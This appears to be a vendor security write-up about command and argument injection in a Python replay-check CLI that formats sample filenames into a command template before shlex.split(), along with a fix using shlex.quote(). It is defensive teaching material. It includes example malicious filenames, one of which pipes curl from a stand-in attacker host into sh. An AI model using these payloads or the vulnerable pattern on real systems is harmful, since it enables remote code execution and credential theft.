Summary
A protocol replay-check CLI built its subprocess argument list by calling str.format() on a user-supplied --command template and then handing the result to shlex.split(), so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in sh -c. The fix wraps the interpolated path in shlex.quote() before formatting, so the path always survives shlex.split() as a single token.
Introduction
The vulnerable code looks safe at a glance, and that is exactly what makes it worth studying.
A protocol reverse-engineering toolkit ships a replay-check utility: you point it at a directory of captured samples, give it a --command template containing a {sample} placeholder, and it runs that command once per sample, counting how many exit with status 0. The implementation does the two things Python developers are taught to do — it uses shlex.split() rather than string concatenation, and it calls subprocess.run() with a list argument instead of shell=True. No os.system(), no shell=True, no obvious red flag.
The flaw is in the ordering. Inside main(), the loop over samples performs str.format() before shlex.split():
for sample in samples:
command = shlex.split(args.command.format(sample=str(sample)))
By the time shlex.split() sees the string, the filesystem-derived path is already indistinguishable from the operator's own template text. shlex.split() is a lexer, not a sanitizer — it happily interprets quotes and whitespace that came from a filename as syntax. And because operators routinely write templates like sh -c "replay {sample}" when the replay tool needs a pipeline or a redirect, the tokens frequently end up back inside a shell after all.
Anyone writing "run this command once per file" tooling — test harnesses, fuzzing corpora runners, media transcoders, CI shims — has probably written this exact three-line pattern.
Affected Versions
| Affected | not applicable (first-party code) — the replay-check CLI's main() sample loop |
| Fixed in | not applicable (first-party code); corrected in the fix commit that quotes the interpolated sample path |
| Ecosystem | N/A (Python script in a first-party skills toolkit) |
| CVE / GHSA | not assigned |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
There is no package version to upgrade to. If you maintain a fork or a copy of this replay-check script — or any script with the same format()-then-shlex.split() shape — the fix has to be applied in place.
The Vulnerability Explained
The vulnerable pattern
Stripped to its essentials, the pre-fix loop was:
passed, failed = 0, []
for sample in samples:
command = shlex.split(args.command.format(sample=str(sample)))
result = subprocess.run(command, capture_output=True, timeout=args.timeout)
ok = result.returncode == 0
samples is produced by walking the samples directory, so each sample is a path the script did not choose and did not validate. str(sample) converts it to text. args.command.format(...) splices that text into the operator's template. Only then does shlex.split() tokenize the combined string.
Two distinct things go wrong.
1. Argument injection (always present). shlex.split() splits on unquoted whitespace. A sample file named:
capture.bin --output /etc/cron.d/payload
turns the template replay --file {sample} into the argv list ['replay', '--file', 'capture.bin', '--output', '/etc/cron.d/payload']. The attacker has not executed a new program, but they have handed three extra flags to whatever replay tool the operator configured. Depending on that tool, that means arbitrary file writes, arbitrary output paths, verbosity flags that leak secrets, or a --exec/--plugin style option that itself runs code. A leading - in a filename is enough to make the path be parsed as an option rather than an operand.
2. Shell command injection (whenever the template routes through a shell). The --command template is free-form, and the common idiom for anything non-trivial is to invoke a shell explicitly:
--command 'sh -c "replay --file {sample} | grep -q OK"'
Now a sample named:
x"; curl -s http://attacker.example/s.sh | sh; echo "
closes the double-quoted shell string, appends its own commands, and reopens the quote so tokenization still succeeds. shlex.split() produces a perfectly well-formed three-element argv — ['sh', '-c', 'replay --file x"; curl ... | sh; echo "'] — and subprocess.run() executes sh with an attacker-authored script body. Full command execution, as the user running the replay check, with no shell=True anywhere in sight.
How an attacker gets a file into the samples directory
This is the part that turns a theoretical issue into a critical one. Sample corpora for protocol reverse engineering are, by definition, collected from elsewhere: pcaps pulled from a capture host, corpora unpacked from an archive, artifacts downloaded from a CI job, a shared network mount, or a fuzzer's output directory. Any of those paths lets an attacker control a name, which is all that is required — the file's contents are irrelevant to the exploit.
The same is true for the directory names the traversal walks, since a nested directory with a metacharacter in its name lands in the interpolated path just as readily as a file.
Impact
Because the replay check is the kind of tool that runs unattended in CI or on an analyst's workstation, the blast radius is:
- Code execution in the CI runner or analyst machine, inheriting credentials, SSH keys, and cloud tokens available to that process.
- Silent tampering with the result set. The loop records success purely as
result.returncode == 0, so an injected; truemakes every sample "pass" and thepassed/failedtally becomes a lie — a validation harness that reports green while validating nothing. - Bypass of the
args.timeoutguard. The timeout applies to the processsubprocess.run()starts; a backgrounded injected command (& sleep 9999 &) outlives it.
The Fix
The change is one call, in exactly the right place:
# Before
command = shlex.split(args.command.format(sample=str(sample)))
# After
command = shlex.split(args.command.format(sample=shlex.quote(str(sample))))
shlex.quote() is the inverse of shlex.split(): it returns a string that the lexer will read back as one single token, wrapping the value in single quotes and escaping any embedded single quote. Applying it to str(sample) before format() means the path is already lexically inert by the time it becomes part of the command string.
Walking through the two attack cases with the fix in place:
- The name
capture.bin --output /etc/cron.d/payloadbecomes'capture.bin --output /etc/cron.d/payload'.shlex.split()now yields a single argv element containing that literal text, so the replay tool receives one (nonexistent) filename and exits non-zero. No extra flags. - The name
x"; curl ... | sh; echo "becomes'x"; curl ... | sh; echo "'. Inside ash -ctemplate the single quotes suppress every metacharacter, so the shell sees one ugly-but-harmless argument instead of a command list. And if the filename itself contained a single quote,shlex.quote()escapes it as'"'"'rather than letting it terminate the quoting.
Why one line is sufficient here: the dangerous behaviour was never subprocess.run() — that call already avoids shell=True and already takes a list. The dangerous behaviour was the tokenizer being fed attacker-influenced syntax. Neutralizing the value at the point of interpolation removes the attacker's ability to influence tokenization at all, which simultaneously closes the argument-injection and the shell-injection paths.
Two notes on residual sharp edges, since this fix changes observable behaviour:
- Templates must now reference the placeholder bare.
replay --file {sample}is correct.replay --file "{sample}"will produce a token containing literal double quotes around the quoted path, becauseshlex.quote()supplies its own quoting. Any template in documentation, CI config, or muscle memory that pre-quotes{sample}needs updating. - A structurally stronger variant exists. Splitting
args.commandfirst and then replacing the{sample}token inside the resulting argv list makes "the path is exactly one argument" a property of the data structure rather than a property of correct quoting. Combined with rejecting sample names that begin with-, that removes the remaining option-lookalike concern for tools that use--prefixed operands. The shipped fix addresses the injection; this is the belt-and-braces version for anyone hardening a similar harness.
Key Takeaways
shlex.split()is a lexer, not a sanitizer. Calling it does not make a command string safe; it only converts syntax into structure. Whoever controls the syntax controls the structure.- Order matters more than the API choice.
format()-then-split()is injectable.split()-then-substitute, orquote()-then-format()-then-split(), is not. The same three functions, different sequence, opposite security outcome. shell=Falseis not a defence when the command template can name a shell. A--commandvalue ofsh -c "…{sample}…"reintroduces a shell thatsubprocess.run()knows nothing about.- Filenames from a sample corpus are untrusted input. The replay check never reads the malicious file's contents — the name alone, obtained by directory traversal, is the entire attack surface. That includes nested directory names.
- A harness whose success signal is
result.returncode == 0can be made to lie. Injection into a validation loop does not just execute code; it corrupts thepassed/failedtally the whole exercise depends on.
How Orbis AppSec Detected This
- Source: sample and directory names discovered by filesystem traversal over the samples directory, converted to text via
str(sample)and interpolated throughstr.format()into the operator-supplied--commandtemplate. - Sink:
subprocess.run()invoked with the argv list produced byshlex.split()— a sink that is also reachable as a real shell whenever the template's first token issh/bashwith-c. - Missing control: no quoting or escaping of the interpolated path before tokenization, and no rejection of names containing whitespace, quote characters, shell metacharacters, or a leading
-. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), with an argument-injection component.
- Fix: the interpolated sample path is now passed through
shlex.quote()beforestr.format(), soshlex.split()always resolves it to a single, metacharacter-free argv token.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This finding is a good reminder that "we don't use shell=True" is an incomplete answer. The replay-check loop avoided every obvious anti-pattern and was still injectable, because the untrusted sample path was spliced into a command string by str.format() before shlex.split() had a chance to tokenize it — and because the free-form --command template routinely puts a shell back in the loop via sh -c.
The remediation is a single shlex.quote() around str(sample), applied at the interpolation point rather than the execution point. No CVE or GHSA was assigned, and there is no version to upgrade to; if you maintain a copy of this replay-check script, or any harness that formats discovered file paths into a command template, check the order of your format() and split() calls today.